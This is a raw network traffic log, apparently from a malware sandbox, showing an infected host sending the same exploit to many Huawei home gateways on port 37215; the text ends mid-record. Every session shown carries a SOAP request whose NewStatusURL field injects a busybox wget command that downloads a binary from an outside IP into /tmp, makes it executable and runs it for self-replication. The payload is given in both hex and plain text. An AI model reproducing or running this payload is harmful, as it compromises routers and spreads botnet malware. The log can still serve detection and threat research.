Aug 1, 2024 15:34:55.608669043 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	38164	222.239.93.139	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608747005 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	39252	57.64.230.60	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608804941 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	50422	157.75.77.178	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608820915 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	41072	157.253.51.213	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608963013 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	32944	197.102.172.2	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608963966 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	35596	197.64.45.114	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609018087 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	53200	157.133.24.232	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609036922 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.14	40982	157.157.109.60	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609056950 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.14	59580	157.203.23.110	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609098911 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.14	40226	157.206.8.180	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.609148979 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 